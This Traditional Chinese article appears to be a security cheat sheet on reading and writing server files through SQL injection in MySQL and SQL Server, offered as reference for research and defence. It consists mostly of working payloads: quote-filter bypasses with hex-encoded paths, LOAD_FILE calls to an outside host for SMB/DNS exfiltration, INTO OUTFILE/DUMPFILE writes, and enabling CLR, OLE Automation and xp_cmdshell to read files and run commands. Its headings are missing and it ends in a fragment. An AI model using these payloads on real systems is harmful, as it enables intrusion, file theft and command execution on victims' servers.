SQL 注入不僅限於資料查詢竊取,當資料庫具備檔案讀寫權限時,攻擊面將擴展至作業系統層面。本文系統整理 MySQL、SQL Server、Oracle 三大資料庫在 SQL 注入場景下的檔案讀寫技術,供安全研究與防禦參考。
MySQL 透過 LOAD_FILE() 函數讀取檔案內容,支援十六進制編碼繞過引號過濾:
-- 讀取本地檔案
SELECT LOAD_FILE('c:/boot.ini');
SELECT LOAD_FILE(0x633a2f626f6f742e696e69); -- 十六進制編碼
-- 透過 SMB 協定讀取遠端檔案
SELECT LOAD_FILE('//ecma.io/1.txt');
-- 可用於 DNS 隧道技術
SELECT LOAD_FILE('\\\\ecma.io\\1.txt');
MySQL 提供兩種寫入方式,需具備 FILE 權限且目標目錄可寫:
-- INTO OUTFILE:輸出為文字檔,會轉義特殊字元
SELECT 0x313233 INTO OUTFILE 'D:/1.txt';
-- INTO DUMPFILE:輸出二進制原始資料,不轉義
SELECT 0x313233 INTO DUMPFILE 'D:/1.txt';
CREATE TABLE result(res VARCHAR(8000));
BULK INSERT result FROM 'd:/1.txt';
SQL Server 可載入 .NET 組件,但會驗證合法性。繞過技巧:先載入合法 .NET 組件,再追加目標檔案:
-- 啟用 CLR
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
-- 載入合法組件
CREATE ASSEMBLY sqb FROM 'd:\net.exe' WITH PERMISSION_SET = UNSAFE;
-- 追加讀取目標檔案
ALTER ASSEMBLY sqb ADD FILE FROM 'd:\1.txt';
ALTER ASSEMBLY sqb ADD FILE FROM 'd:\notnet.exe';
-- 讀取組件內容
SELECT master.dbo.fn_varbintohexstr(CAST(content AS VARBINARY)) FROM sys.assembly_files;
-- 啟用 OLE Automation
SP_CONFIGURE 'show advanced options', 1; RECONFIGURE;
SP_CONFIGURE 'Ole Automation Procedures', 1; RECONFIGURE;
-- 讀取檔案範例
DECLARE @o INT, @f INT, @t INT, @ret INT, @line VARCHAR(8000);
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT;
EXEC sp_oamethod @o, 'opentextfile', @f OUT, 'd:\1.txt', 1;
EXEC @ret = sp_oamethod @f, 'readline', @line OUT;
WHILE (@ret = 0) BEGIN PRINT @line; EXEC @ret = sp_oamethod @f, 'readline', @line OUT; END
DECLARE @o INT, @f INT, @t INT, @ret INT, @line VARCHAR(8000);
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT;
EXEC sp_oamethod @o, 'createtextfile', @f OUT, 'e:\1.txt', 1;
EXEC @ret = sp_oamethod @f, 'writeline', NULL, 'This is the test string';
bcp "SELECT name FROM sysobjects" QUERYOUT testout.txt -c -S 127.0.0.1 -U sa -P "sa"
EXEC xp_cmdshell 'echo test > d:\1.txt';
Oracle 受限於 PL/SQL 架構,檔案操作受限極大,暫不深入討論。
FILE、CLR、OLE Automation、xp_cmdshell 等高危權限